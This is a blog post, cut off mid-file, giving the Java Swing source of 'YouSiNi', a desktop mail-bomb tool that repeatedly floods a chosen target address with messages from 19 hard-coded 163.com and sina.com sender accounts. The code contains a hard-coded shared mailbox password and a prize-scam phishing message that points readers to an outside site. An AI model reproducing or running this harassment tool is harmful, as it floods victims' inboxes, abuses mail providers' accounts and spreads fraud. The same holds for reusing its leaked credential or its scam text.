java开发_java小程序_邮死你(yousini)_源码下载

项目结构:

运行效果:

如果你感兴趣,请不要那我的邮箱做测试!!!!

==========================================================

下面是代码部分

==========================================================

/SendMail/src/com/b510/sendmail/main/SendMailMain.java

 1 package com.b510.sendmail.main;
 2 
 3 import com.b510.sendmail.ui.SendMailUI;
 4 
 5 /**
 6  * @author Hongten
 7  * 
 8  * @time 2012-4-4 2012
 9  */
10 public class SendMailMain {
11     public static void main(String[] args) {
12         SendMailUI sendMailUI = new SendMailUI("send E-Mail");
13     }
14 }

/SendMail/src/com/b510/sendmail/ui/MyTray.java

  1 package com.b510.sendmail.ui;
  2 
  3 import java.awt.AWTException;
  4 import java.awt.Image;
  5 import java.awt.MenuItem;
  6 import java.awt.PopupMenu;
  7 import java.awt.SystemTray;
  8 import java.awt.TrayIcon;
  9 import java.awt.event.ActionEvent;
 10 import java.awt.event.ActionListener;
 11 import java.awt.event.MouseEvent;
 12 import java.awt.event.MouseListener;
 13 
 14 import javax.swing.ImageIcon;
 15 import javax.swing.JFrame;
 16 
 17 public class MyTray implements ActionListener, MouseListener {
 18     private Image icon;// 图标
 19     private TrayIcon trayIcon;
 20     private SystemTray systemTray;// 系统托盘
 21 
 22     private SendMailUI sendMailUI; // 托盘所属主窗体
 23     private PopupMenu pop = new PopupMenu(); // 弹出菜单
 24     // 菜单选项
 25     /** 还原 */
 26     private MenuItem open = new MenuItem("Restore");
 27     /** 退出*/
 28     private MenuItem exit =new MenuItem("Exit");
 29     public MyTray(SendMailUI sendMailUI) {
 30         this.sendMailUI = sendMailUI;
 31         // 得到托盘的图标
 32         icon = new ImageIcon(this.getClass().getClassLoader().getResource(
 33                 "resources/mytray.png")).getImage();
 34 
 35         if (SystemTray.isSupported()) {
 36             systemTray = SystemTray.getSystemTray();
 37             // 设置鼠标经过图标时,显示的内容
 38             trayIcon = new TrayIcon(icon, "YouSiNi", pop);
 39             pop.add(open);
 40             pop.add(exit);
 41             // 添加系统托盘
 42             try {
 43                 systemTray.add(trayIcon);
 44             } catch (AWTException e1) {
 45                 e1.printStackTrace();
 46                 trayIcon.addMouseListener(this);
 47             }
 48         }
 49         trayIcon.addMouseListener(this);
 50         exit.addActionListener(this);
 51         open.addActionListener(this);
 52     }
 53 
 54     @Override
 55     public void actionPerformed(ActionEvent e) {
 56         if(e.getSource()==exit){
 57             //退出系统
 58             System.exit(0);
 59         }else if (e.getSource() == open) {
 60             // 单点击菜单中的"还原"选项时,还原窗口
 61             sendMailUI.iconed = false;
 62             friendListSet(true);
 63         } 
 64     }
 65 
 66     @Override
 67     public void mouseClicked(MouseEvent e) {
 68         // 但鼠标点击一次的时候,进行弹出窗口
 69         if (e.getClickCount() == 1 && e.getButton() != MouseEvent.BUTTON3) {
 70             if (!sendMailUI.isVisible()) {
 71                 friendListSet(true);
 72             } else {
 73                 friendListSet(false);
 74             }
 75         }
 76         // 但鼠标点击两次的时候,进行弹出窗口
 77         // 如果窗口有显示,则隐藏窗口,否则显示窗口
 78         if (e.getClickCount() == 2 && e.getButton() != MouseEvent.BUTTON3) {
 79             if (!sendMailUI.isVisible()) {
 80                 friendListSet(true);
 81             } else {
 82                 friendListSet(false);
 83             }
 84         }
 85     }
 86 
 87     /**
 88      * 设置friendList的可见性
 89      */
 90     private void friendListSet(boolean flag) {
 91         sendMailUI.setVisible(true);
 92         sendMailUI.setExtendedState(JFrame.NORMAL);
 93     }
 94 
 95     @Override
 96     public void mouseEntered(MouseEvent arg0) {
 97         // TODO Auto-generated method stub
 98 
 99     }
100 
101     @Override
102     public void mouseExited(MouseEvent arg0) {
103         // TODO Auto-generated method stub
104 
105     }
106 
107     @Override
108     public void mousePressed(MouseEvent arg0) {
109         // TODO Auto-generated method stub
110 
111     }
112 
113     @Override
114     public void mouseReleased(MouseEvent arg0) {
115         // TODO Auto-generated method stub
116 
117     }
118 }

/SendMail/src/com/b510/sendmail/ui/SendMailUI.java

  1 package com.b510.sendmail.ui;
  2 
  3 import java.awt.Graphics;
  4 import java.awt.event.ActionEvent;
  5 import java.awt.event.ActionListener;
  6 import java.awt.event.WindowAdapter;
  7 import java.awt.event.WindowEvent;
  8 import java.io.BufferedReader;
  9 import java.io.BufferedWriter;
 10 import java.io.IOException;
 11 import java.io.InputStreamReader;
 12 import java.io.OutputStreamWriter;
 13 import java.net.Socket;
 14 import java.net.SocketException;
 15 import java.net.UnknownHostException;
 16 import java.util.StringTokenizer;
 17 import java.util.regex.Matcher;
 18 import java.util.regex.Pattern;
 19 
 20 import javax.swing.ImageIcon;
 21 import javax.swing.JFrame;
 22 import javax.swing.JOptionPane;
 23 import javax.swing.JPanel;
 24 
 25 import sun.misc.BASE64Encoder;
 26 
 27 import com.b510.sendmail.utils.AboutSendmail;
 28 import com.b510.sendmail.utils.MailMessage;
 29 
 30 /**
 31  * 
 32  * @author Hongten
 33  */
 34 public class SendMailUI extends JFrame implements ActionListener {
 35 
 36     private static javax.swing.JTextArea infoShow;
 37     private javax.swing.JScrollPane jScrollPane1;
 38     private javax.swing.JPanel mainPanel;
 39     private javax.swing.JMenuBar menuBar;
 40     private javax.swing.JButton send;
 41     private javax.swing.JProgressBar showTime;
 42     private javax.swing.JTextField targetmail;
 43     javax.swing.JMenu fileMenu;
 44     javax.swing.JMenuItem exitMenuItem;
 45     javax.swing.JMenu helpMenu;
 46     javax.swing.JMenuItem aboutMenuItem;
 47     private static boolean flag;
 48     private static int number = 266;
 49     private int i = 0;
 50     private AboutSendmail aboutSendmail;
 51     /**
 52      * 定义图盘图盘标志
 53      */
 54     public boolean iconed = false;
 55     /** 定义托盘 */
 56     MyTray myTray;
 57 
 58     /**
 59      * 版本号
 60      */
 61     private static final long serialVersionUID = -6601825053136983041L;
 62 
 63     public SendMailUI(String title) {
 64         this.setTitle(title);
 65         init();
 66     }
 67 
 68     /**
 69      * 主界面初始化
 70      */
 71     public void init() {
 72 
 73         mainPanel = new JPanel() {
 74             private static final long serialVersionUID = 1L;
 75 
 76             protected void paintComponent(Graphics g) {
 77                 ImageIcon icon = new ImageIcon("src/resources/mail_bg.png");
 78                 g.drawImage(icon.getImage(), 0, 0, 700, 430, null);
 79             }
 80         };
 81 
 82         targetmail = new javax.swing.JTextField();
 83         send = new javax.swing.JButton();
 84         jScrollPane1 = new javax.swing.JScrollPane();
 85         infoShow = new javax.swing.JTextArea();
 86         menuBar = new javax.swing.JMenuBar();
 87         fileMenu = new javax.swing.JMenu();
 88         exitMenuItem = new javax.swing.JMenuItem();
 89         helpMenu = new javax.swing.JMenu();
 90         aboutMenuItem = new javax.swing.JMenuItem();
 91         // 设置为0到180,即180s,3分钟
 92         showTime = new javax.swing.JProgressBar(0, number);
 93         aboutSendmail = new AboutSendmail("关于软件");
 94         aboutSendmail.setVisible(false);
 95 
 96         // 是否在进度条上显示字符
 97         showTime.setStringPainted(true);
 98 
 99         mainPanel.setName("mainPanel"); // NOI18N
100 
101         targetmail.setName("targetmail"); // NOI18N
102         //targetmail.setText("hongtenzone@foxmail.com");
103 
104         send.setText("send"); // NOI18N
105         send.setName("send"); // NOI18N
106         send.setEnabled(false);
107         send.addActionListener(this);
108 
109         jScrollPane1.setName("jScrollPane1"); // NOI18N
110 
111         infoShow.setColumns(20);
112         infoShow.setRows(5);
113         infoShow.setName("infoShow"); // NOI18N
114         jScrollPane1.setViewportView(infoShow);
115         // 初始化布局
116         initComponent();
117 
118         menuBar.setName("menuBar"); // NOI18N
119 
120         fileMenu.setName("fileMenu"); // NOI18N
121         fileMenu.setText("file");
122 
123         exitMenuItem.setText("exit");
124         fileMenu.add(exitMenuItem);
125         exitMenuItem.addActionListener(this);
126 
127         menuBar.add(fileMenu);
128 
129         helpMenu.setText("help"); // NOI18N
130         helpMenu.setName("helpMenu"); // NOI18N
131 
132         aboutMenuItem.setText("about");
133         helpMenu.add(aboutMenuItem);
134         aboutMenuItem.addActionListener(this);
135 
136         menuBar.add(helpMenu);
137 
138         this.add(mainPanel);
139         setJMenuBar(menuBar);
140 
141         this.setVisible(true);
142         this.setSize(700, 485);
143         // 启动进度条记时监听器
144         timeCardListener();
145         // 启动邮箱输入框监听器
146         myListener();
147         // this.pack();
148         this.setLocationRelativeTo(null);
149         this.setResizable(false);
150         // this.setLocation(470, 250);
151         // this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
152         // 当点击"-"最小化按钮时,系统会最小化到托盘
153         addWindowListener(new WindowAdapter() {
154             public void windowIconified(WindowEvent e) {
155                 iconed = true;
156                 setVisible(false);
157             }
158 
159             public void windowClosing(WindowEvent e) {
160                 // 当点击"X"关闭窗口按钮时,会询问用户是否要最小化到托盘
161                 // 是,表示最小化到托盘,否,表示退出
162                 int option = JOptionPane.showConfirmDialog(SendMailUI.this,
163                         "是否最小化到托盘?", "提示:", JOptionPane.YES_NO_OPTION);
164                 if (option == JOptionPane.YES_OPTION) {
165                     iconed = true;
166                     SendMailUI.this.setVisible(false);
167                 } else {
168                     System.exit(0);
169                 }
170             }
171         });
172         // 初始化自定义托盘
173         myTray = new MyTray(SendMailUI.this);
174 
175     }
176 
177     /**
178      * 布局文件,没有必要去管他
179      */
180     private void initComponent() {
181         javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(
182                 mainPanel);
183         mainPanel.setLayout(mainPanelLayout);
184         mainPanelLayout
185                 .setHorizontalGroup(mainPanelLayout
186                         .createParallelGroup(
187                                 javax.swing.GroupLayout.Alignment.LEADING)
188                         .addGroup(
189                                 mainPanelLayout
190                                         .createSequentialGroup()
191                                         .addGap(52, 54, 54)
192                                         .addGroup(
193                                                 mainPanelLayout
194                                                         .createParallelGroup(
195                                                                 javax.swing.GroupLayout.Alignment.LEADING,
196                                                                 false)
197                                                         .addGroup(
198                                                                 mainPanelLayout
199                                                                         .createSequentialGroup()
200                                                                         .addComponent(
201                                                                                 targetmail,
202                                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
203                                                                                 170,
204                                                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
205                                                                         .addGap(
206                                                                                 34,
207                                                                                 34,
208                                                                                 37)
209                                                                         .addComponent(
210                                                                                 send))
211                                                         .addComponent(
212                                                                 jScrollPane1,
213                                                                 javax.swing.GroupLayout.Alignment.TRAILING,
214                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
215                                                                 620,
216                                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
217                                                         .addGroup(
218                                                                 mainPanelLayout
219                                                                         .createSequentialGroup()
220                                                                         .addGap(
221                                                                                 463,
222                                                                                 463,
223                                                                                 463)
224                                                                         .addComponent(
225                                                                                 showTime,
226                                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
227                                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
228                                                                                 Short.MAX_VALUE)))
229                                         .addContainerGap(30, Short.MAX_VALUE)));
230         mainPanelLayout
231                 .setVerticalGroup(mainPanelLayout
232                         .createParallelGroup(
233                                 javax.swing.GroupLayout.Alignment.LEADING)
234                         .addGroup(
235                                 mainPanelLayout
236                                         .createSequentialGroup()
237                                         .addContainerGap()
238                                         .addGroup(
239                                                 mainPanelLayout
240                                                         .createParallelGroup(
241                                                                 javax.swing.GroupLayout.Alignment.TRAILING)
242                                                         .addComponent(send)
243                                                         .addComponent(
244                                                                 targetmail,
245                                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
246                                                                 30,
247                                                                 javax.swing.GroupLayout.PREFERRED_SIZE))
248                                         .addGap(30, 43, 43)
249                                         .addComponent(
250                                                 showTime,
251                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
252                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
253                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
254                                         .addPreferredGap(
255                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
256                                         .addComponent(
257                                                 jScrollPane1,
258                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
259                                                 313,
260                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
261                                         .addGap(15, 15, 15)));
262     }
263 
264     // 进度条记时
265     public void timeCard(final boolean flag) {
266         new Thread(new Runnable() {// 设置一个线程
267                     public void run() {
268                         if (flag) {
269                             while (i < number) {
270                                 try {
271                                     Thread.sleep((long) (1000 * 7.7));
272                                 } catch (Exception e) {
273                                     e.printStackTrace();
274                                 }
275                                 showTime.setValue(i++);
276                             }
277                         } else {
278                             i = 0;
279                             showTime.setValue(0);
280 
281                         }
282                     }
283                 }).start();
284     }
285 
286     // 进度条记时
287     public void timeCardListener() {
288         new Thread(new Runnable() {// 设置一个线程
289                     public void run() {
290                         while (true) {
291                             try {
292                                 Thread.sleep((long) (1000 * 7.7));
293                             } catch (Exception e) {
294                                 e.printStackTrace();
295                             }
296                             timeCard(flag);
297                         }
298                     }
299                 }).start();
300     }
301 
302     @Override
303     public void actionPerformed(ActionEvent e) {
304         if (e.getSource() == send) {
305             infoShow.append("请耐心等待...\n");
306             new SendMail().sendMailListener(targetmail.getText());
307         }
308         // 退出程序
309         if (e.getSource() == exitMenuItem) {
310             System.exit(0);
311         }
312         if (e.getSource() == aboutMenuItem) {
313             aboutSendmail.setVisible(true);
314         }
315     }
316 
317     /**
318      * STMP邮箱客户端,用于邮件发送和接收的管理
319      * 
320      * @author Hongten
321      * 
322      * @time 2012-4-4 2012
323      */
324     static class SMTPClient {
325 
326         static final String server_mail = "smtp.163.com";
327         static final String server_mail_sina = "smtp.sina.com";
328         static final String subject_mail = "邮件炸弹";
329         static final String content_mail = "这是邮件炸弹";
330         //这里是邮箱密码,如果大家在发邮件的,最好自己去注册一下.....你懂的...sina的和163邮箱使用同一个密码....^_^
331         static final String password_mail = "PANDER521521mail";
332         static int k = 1;
333 
334         static final String content = "尊敬的邮箱用户:\n您好!您的账号已被抽选为本次活动的二等奖用户。您将获得由本公司送出的惊喜奖金66000元以及赞助商三星公司送出的三星Q40笔记本电脑一台!\n请您收到信息后立即复制登陆活动网站: www.qqt139.com 领取,您的获奖验证码为【6558】。请确记您的个人验证码。\n 注:为了确保您的幸运资格不被冒领,请及时查看邮件。否则此邮件自动转入垃圾信箱等待查收!从收到邮件5日内有效.";
335         static final String content1 = "你好,当你收到这个邮件的时候,说明你...嘿嘿...你懂的";
336         private boolean debug = true;
337         BASE64Encoder encode = new BASE64Encoder();// 用于加密后发送用户名和密码
338 
339         /**
340          * 发送邮件
341          * 
342          * @throws UnknownHostException
343          *             未知异常
344          * @throws IOException
345          *             i/o异常
346          */
347         public static void sendMail(String targetMail)
348                 throws UnknownHostException, IOException {
349             for (int j = 1; j < 4; j++) {
350                 for (int i = 1; i < 10; i++) {
351                     MailMessage message = new MailMessage();
352                     message.setFrom("pandermail0" + i + "@163.com");// 发件人
353                     message.setTo(targetMail);// 收件人
354                     String server = server_mail;// 邮件服务器
355                     message.setSubject("有一封新的信息,請查收!");// 邮件主题
356                     message.setContent(content1);// 邮件内容
357                     message.setDatafrom("pandermail0" + i + "@163.com");// 发件人,在邮件的发件人栏目中显示
358                     message.setDatato(targetMail);// 收件人,在邮件的收件人栏目中显示
359                     message.setUser("pandermail0" + i);// 登陆邮箱的用户名
360                     message.setPassword(password_mail);// 登陆邮箱的密码
361 
362                     SMTPClient smtp = new SMTPClient(server, 25);
363 
364                     boolean flag;
365                     flag = smtp.sendMail(message, server);
366 
367                     if (flag) {
368                         SendMailUI.infoShow.append("这是第 " + i + " 封邮件,"
369                                 + "邮件发送成功!\n");
370                     } else {
371                         SendMailUI.infoShow.append("邮件发送失败!\n");
372                     }
373                 }
374                 for (int i = 1; i < 11; i++) {
375                     MailMessage message = new MailMessage();
376                     // pandermail1@sina.com
377                     message.setFrom("pandermail" + i + "@sina.com");
378                     message.setTo(targetMail);// 收件人
379                     String server = server_mail_sina;// 邮件服务器
380                     message.setSubject("亚马逊");// 邮件主题
381                     message.setContent(content1);// 邮件内容
382                     message.setDatafrom("pandermail" + i + "@sina.com");// 发件人,在邮件的发件人栏目中显示
383                     message.setDatato(targetMail);// 收件人,在邮件的收件人栏目中显示
384                     message.setUser("pandermail" + i);// 登陆邮箱的用户名
385                     message.setPassword(password_mail);// 登陆邮箱的密码
386 
387                     SMTPClient smtp = new SMTPClient(server, 25);
388 
389                     boolean flag;
390                     flag = smtp.sendMail(message, server);
391 
392                     if (flag) {
393                         SendMailUI.infoShow.append("这是第 " + (i + 9) + " 封邮件,"
394                                 + "邮件发送成功!\n");
395                     } else {
396                         SendMailUI.infoShow.append("邮件发送失败!\n");
397                     }
398                 }
399             }
400             SendMailUI.infoShow
401                     .append("==========================================================\n");
402             SendMailUI.infoShow.append("===================== 这是第 [ " + (k++)
403                     + " ] 轮结束  =====================\n");
404         }
405 
406         private Socket socket;
407 
408         public SMTPClient(String server, int port) throws UnknownHostException,
409                 IOException {
410             try {
411                 socket = new Socket(server, 25);
412             } catch (SocketException e) {
413                 SendMailUI.infoShow.append(e.getMessage());
414             } catch (Exception e) {
415                 e.printStackTrace();
416             } finally {
417                 SendMailUI.infoShow.append("已经建立连接!\n");
418             }
419         }
420 
421         // 注册到邮件服务器
422         public void helo(String server, BufferedReader in, BufferedWriter out)
423                 throws IOException {
424             int result;
425             result = getResult(in);
426 
427             // 连接上邮件服务后,服务器给出220应答
428             if (result != 220) {
429                 SendMailUI.infoShow.append("连接服务器失败!\n");
430                 throw new IOException("连接服务器失败");
431             }
432 
433             result = sendServer("HELO " + server, in, out);
434 
435             // HELO命令成功后返回250
436             if (result != 250) {
437                 SendMailUI.infoShow.append("注册邮件服务器失败!\n");
438                 throw new IOException("注册邮件服务器失败!");
439             }
440         }
441 
442         private int sendServer(String str, BufferedReader in, BufferedWriter out)
443                 throws IOException {
444             out.write(str);
445             out.newLine();
446             out.flush();
447 
448             if (debug) {
449                 SendMailUI.infoShow.append("已发送命令:" + str + "\n");
450             }
451 
452             return getResult(in);
453         }
454 
455         public int getResult(BufferedReader in) {
456             String line = "";
457 
458             try {
459                 line = in.readLine();
460                 if (debug) {
461                     SendMailUI.infoShow.append("服务器返回状态:" + line + "\n");
462                 }
463             } catch (Exception e) {
464                 e.printStackTrace();
465             }
466 
467             // 从服务器返回消息中读出状态码,将其转换成整数返回
468             StringTokenizer st = new StringTokenizer(line, " ");
469 
470             return Integer.parseInt(st.nextToken());
471         }
472 
473         public void authLogin(MailMessage message, BufferedReader in,
474                 BufferedWriter out) throws IOException {
475             int result;
476             result = sendServer("AUTH LOGIN", in, out);
477 
478             if (result != 334) {
479                 SendMailUI.infoShow.append("用户验证失败!\n");
480                 throw new IOException("用户验证失败!");
481             }
482             result = sendServer(encode.encode(message.getUser().getBytes()),
483                     in, out);
484 
485             if (result != 334) {
486                 SendMailUI.infoShow.append("用户名错误!\n");
487                 throw new IOException("用户名错误!");
488             }
489             result = sendServer(
490                     encode.encode(message.getPassword().getBytes()), in, out);
491 
492             if (result != 235) {
493                 SendMailUI.infoShow.append("验证失败!\n");
494                 throw new IOException("验证失败!");
495             }
496         }
497 
498         // 开始发送消息,邮件源地址
499         public void mailfrom(String source, BufferedReader in,
500                 BufferedWriter out) throws IOException {
501             int result;
502             result = sendServer("MAIL FROM:<" + source + ">", in, out);
503 
504             if (result != 250) {
505                 SendMailUI.infoShow.append("指定源地址错误!\n");
506                 throw new IOException("指定源地址错误");
507             }
508         }
509 
510         // 设置邮件收件人
511         public void rcpt(String touchman, BufferedReader in, BufferedWriter out)
512                 throws IOException {
513             int result;
514             result = sendServer("RCPT TO:<" + touchman + ">", in, out);
515 
516             if (result != 250) {
517                 SendMailUI.infoShow.append("指定目的地址错误!\n");
518                 throw new IOException("指定目的地址错误!");
519             }
520         }
521 
522         // 邮件体
523         public void data(String from, String to, String subject,
524                 String content, BufferedReader in, BufferedWriter out)
525                 throws IOException {
526             int result;
527             result = sendServer("DATA", in, out);
528 
529             // 输入date回车后,若收到354应答后,继续输入邮件内容
530             if (result != 354) {
531                 SendMailUI.infoShow.append("不能发送数据!\n");
532                 throw new IOException("不能发送数据!");
533             }
534 
535             out.write("From: " + from);
536             out.newLine();
537             out.write("To: " + to);
538             out.newLine();
539             out.write("Subject: " + subject);
540             out.newLine();
541             out.newLine();
542             out.write(content);
543             out.newLine();
544 
545             // 句点加回车结束邮件内容输入
546             result = sendServer(".", in, out);
547             // System.out.println(result);
548 
549             if (result != 250) {
550                 SendMailUI.infoShow.append("发送数据错误!\n");
551                 throw new IOException("发送数据错误");
552             }
553         }
554 
555         // 退出
556         public void quit(BufferedReader in, BufferedWriter out)
557                 throws IOException {
558             int result;
559             result = sendServer("QUIT", in, out);
560 
561             if (result != 221) {
562                 SendMailUI.infoShow.append("未能正确退出!\n");
563                 throw new IOException("未能正确退出");
564             }
565         }
566 
567         // 发送邮件主程序
568         public boolean sendMail(MailMessage message, String server) {
569             try {
570                 BufferedReader in = new BufferedReader(new InputStreamReader(
571                         socket.getInputStream()));
572                 BufferedWriter out = new BufferedWriter(new OutputStreamWriter(
573                         socket.getOutputStream()));
574                 helo(server, in, out);// helo
575                 authLogin(message, in, out);// auth login
576                 mailfrom(message.getFrom(), in, out);// mail from
577                 rcpt(message.getTo(), in, out);// rcpt to
578                 data(message.getDatafrom(), message.getDatato(), message
579                         .getSubject(), message.getContent(), in, out);// DATA
580                 quit(in, out);// quit
581             } catch (Exception e) {
582                 e.printStackTrace();
583                 return false;
584             }
585             return true;
586         }
587     }
588 
589     class SendMail {
590         public void sendMailListener(final String targetmail) {
591             new Thread(new Runnable() {// 设置一个线程
592                         public void run() {
593                             while (true) {
594                                 SendMailUI.flag = true;
595                                 // 休息180s
596                                 try {
597                                     // 线程处于睡眠的时候,flag=true;
598                                     SendMailUI.flag = true;
599                                     Thread.sleep(180000);
600                                 } catch (Exception e) {
601                                     e.printStackTrace();
602                                 }
603                                 // 这里开始运行的时候,flag=false;
604                                 SendMailUI.flag = false;
605                                 try {
606                                     SMTPClient.sendMail(targetmail);
607                                 } catch (UnknownHostException e) {
608                                     e.printStackTrace();
609                                 } catch (IOException e) {
610                                     e.printStackTrace();
611                                 }
612                                 try {
613                                     // 等待timeCardListener监听器监听时间
614                                     Thread.sleep(25000);
615                                 } catch (Exception e) {
616                                 }
617                             }
618                         }
619 
620                     }).start();
621         }
622     }
623 
624     // 邮箱匹配,返回true,否则返回false
625     private boolean isRightMail(String mail) {
626         boolean flag_mail = false;
627         Pattern pattern;
628         Matcher matcher;
629         String mail_regex = "(?=^[\\w.@]{6,50}$)\\w+@\\w+(?:\\.[\\w]{2,3}){1,2}";
630         pattern = Pattern.compile(mail_regex);
631         matcher = pattern.matcher(mail);
632         while (matcher.find()) {
633             flag_mail = true;
634         }
635         return flag_mail;
636     }
637 
638     // 邮箱输入框是否正确填写
639     public void changedUpdate() {
640         String mail = targetmail.getText();
641         if (mail.equals("")) {
642             send.setEnabled(false);
643         } else if (mail.length() > 0 && isRightMail(mail)) {
644             // 输入内容不为空,且是能够匹配邮箱,那么设置send可用
645             send.setEnabled(true);
646         } else {
647             send.setEnabled(true);
648         }
649     }
650 
651     /**
652      * 邮箱是否填写完整监听器
653      */
654     public void myListener() {
655         new Thread(new Runnable() {// 设置一个线程
656                     public void run() {
657                         while (true) {
658                             try {
659                                 Thread.sleep(500);
660                             } catch (Exception e) {
661                                 e.printStackTrace();
662                             }
663                             changedUpdate();// 填写邮箱
664                         }
665                     }
666                 }).start();
667     }
668 }

 

/SendMail/src/com/b510/sendmail/utils/AboutSendmail.java

  1 /*
  2  * To change this template, choose Tools | Templates
  3  * and open the template in the editor.
  4  */
  5 package com.b510.sendmail.utils;
  6 
  7 import java.awt.event.MouseAdapter;
  8 import java.awt.event.MouseEvent;
  9 import java.awt.event.WindowAdapter;
 10 import java.awt.event.WindowEvent;
 11 
 12 import javax.swing.ImageIcon;
 13 import javax.swing.JButton;
 14 import javax.swing.JFrame;
 15 
 16 /**
 17  * 
 18  * @author Hongten 菜单-帮助
 19  */
 20 public class AboutSendmail extends JFrame {
 21 
 22     /**
 23      * 版本号
 24      */
 25     private static final long serialVersionUID = 5248482602468160509L;
 26 
 27     public AboutSendmail(String title) {
 28         super(title);
 29         initComponents();
 30         addWindowListener(new WindowAdapter() {
 31             public void windowClosing(WindowEvent e) {
 32                 AboutSendmail.this.setVisible(false);
 33             }
 34         });
 35     }
 36 
 37     /**
 38      *关闭按钮
 39      */
 40     private JButton closeButton = new JButton();
 41     /**
 42      * 应用程序名称
 43      */
 44     javax.swing.JLabel appTitleLabel = new javax.swing.JLabel();
 45     /**
 46      * 版本号 前
 47      */
 48     javax.swing.JLabel versionLabel = new javax.swing.JLabel();
 49     /**
 50      * 版本号
 51      */
 52     javax.swing.JLabel appVersionLabel = new javax.swing.JLabel();
 53     /**
 54      * 主页 前
 55      */
 56     javax.swing.JLabel homepageLabel = new javax.swing.JLabel();
 57     /**
 58      * Homepage
 59      */
 60     javax.swing.JLabel appHomepageLabel = new javax.swing.JLabel();
 61     /**
 62      * 说明
 63      */
 64     javax.swing.JLabel appDescLabel = new javax.swing.JLabel();
 65     /**
 66      * 图片
 67      */
 68     javax.swing.JLabel imageLabel = new javax.swing.JLabel();
 69 
 70     private void initComponents() {
 71 
 72         this.setVisible(true);
 73         // 设置大小不能变
 74         setResizable(false);
 75         this.setLocation(530, 410);// 设置窗体的初始位置
 76 
 77         closeButton.addMouseListener(new MouseAdapter() {
 78             public void mouseEntered(java.awt.event.MouseEvent evt) {
 79                 closeButton.setIcon(new ImageIcon(""));
 80             }
 81 
 82             public void mouseExited(MouseEvent evt) {
 83                 closeButton.setIcon(new ImageIcon(""));
 84             }
 85         });
 86 
 87         appTitleLabel.setFont(appTitleLabel.getFont().deriveFont(
 88                 appTitleLabel.getFont().getStyle() | java.awt.Font.BOLD,
 89                 appTitleLabel.getFont().getSize() + 4));
 90         appTitleLabel.setText("应用程序名称:"); // NOI18N
 91         appTitleLabel.setName("appTitleLabel"); // NOI18N
 92 
 93         versionLabel.setFont(versionLabel.getFont().deriveFont(
 94                 versionLabel.getFont().getStyle() | java.awt.Font.BOLD));
 95         versionLabel.setText("版本号:"); // NOI18N
 96         versionLabel.setName("versionLabel"); // NOI18N
 97 
 98         appVersionLabel.setText("1.0"); // NOI18N
 99         appVersionLabel.setName("appVersionLabel"); // NOI18N
100 
101         homepageLabel.setFont(homepageLabel.getFont().deriveFont(
102                 homepageLabel.getFont().getStyle() | java.awt.Font.BOLD));
103         homepageLabel.setText("主页:"); // NOI18N
104         homepageLabel.setName("homepageLabel"); // NOI18N
105 
106         appHomepageLabel.setText("http://www.cnblogs.com/hongten"); // NOI18N
107         appHomepageLabel.setName("appHomepageLabel"); // NOI18N
108 
109         appDescLabel.setText("这是一个小应用程序,定时向目标邮箱发送邮件"); // NOI18N
110         appDescLabel.setName("appDescLabel"); // NOI18N
111 
112         imageLabel.setIcon(new ImageIcon("")); // NOI18N
113         imageLabel.setName("imageLabel"); // NOI18N
114 
115         closeButton.setIcon(new ImageIcon(""));
116         closeButton.setText("hongten");
117         javax.swing.GroupLayout layout = new javax.swing.GroupLayout(
118                 getContentPane());
119         getContentPane().setLayout(layout);
120         layout
121                 .setHorizontalGroup(layout
122                         .createParallelGroup(
123                                 javax.swing.GroupLayout.Alignment.LEADING)
124                         .addGroup(
125                                 layout
126                                         .createSequentialGroup()
127                                         .addComponent(imageLabel)
128                                         .addGap(18, 18, 18)
129                                         .addGroup(
130                                                 layout
131                                                         .createParallelGroup(
132                                                                 javax.swing.GroupLayout.Alignment.TRAILING)
133                                                         .addGroup(
134                                                                 javax.swing.GroupLayout.Alignment.LEADING,
135                                                                 layout
136                                                                         .createSequentialGroup()
137                                                                         .addGroup(
138                                                                                 layout
139                                                                                         .createParallelGroup(
140                                                                                                 javax.swing.GroupLayout.Alignment.LEADING)
141                                                                                         .addComponent(
142                                                                                                 versionLabel)
143                                                                                         .addComponent(
144                                                                                                 homepageLabel))
145                                                                         .addPreferredGap(
146                                                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
147                                                                         .addGroup(
148                                                                                 layout
149                                                                                         .createParallelGroup(
150                                                                                                 javax.swing.GroupLayout.Alignment.LEADING)
151                                                                                         .addComponent(
152                                                                                                 appVersionLabel)
153                                                                                         .addComponent(
154                                                                                                 appHomepageLabel)))
155                                                         .addComponent(
156                                                                 appTitleLabel,
157                                                                 javax.swing.GroupLayout.Alignment.LEADING)
158                                                         .addComponent(
159                                                                 appDescLabel,
160                                                                 javax.swing.GroupLayout.Alignment.LEADING,
161                                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
162                                                                 266,
163                                                                 Short.MAX_VALUE)
164                                                         .addComponent(
165                                                                 closeButton))
166                                         .addContainerGap()));
167         layout
168                 .setVerticalGroup(layout
169                         .createParallelGroup(
170                                 javax.swing.GroupLayout.Alignment.LEADING)
171                         .addComponent(imageLabel,
172                                 javax.swing.GroupLayout.PREFERRED_SIZE,
173                                 javax.swing.GroupLayout.DEFAULT_SIZE,
174                                 Short.MAX_VALUE)
175                         .addGroup(
176                                 layout
177                                         .createSequentialGroup()
178                                         .addContainerGap()
179                                         .addComponent(appTitleLabel)
180                                         .addPreferredGap(
181                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
182                                         .addComponent(
183                                                 appDescLabel,
184                                                 javax.swing.GroupLayout.PREFERRED_SIZE,
185                                                 javax.swing.GroupLayout.DEFAULT_SIZE,
186                                                 javax.swing.GroupLayout.PREFERRED_SIZE)
187                                         .addPreferredGap(
188                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
189                                         .addGroup(
190                                                 layout
191                                                         .createParallelGroup(
192                                                                 javax.swing.GroupLayout.Alignment.BASELINE)
193                                                         .addComponent(
194                                                                 versionLabel)
195                                                         .addComponent(
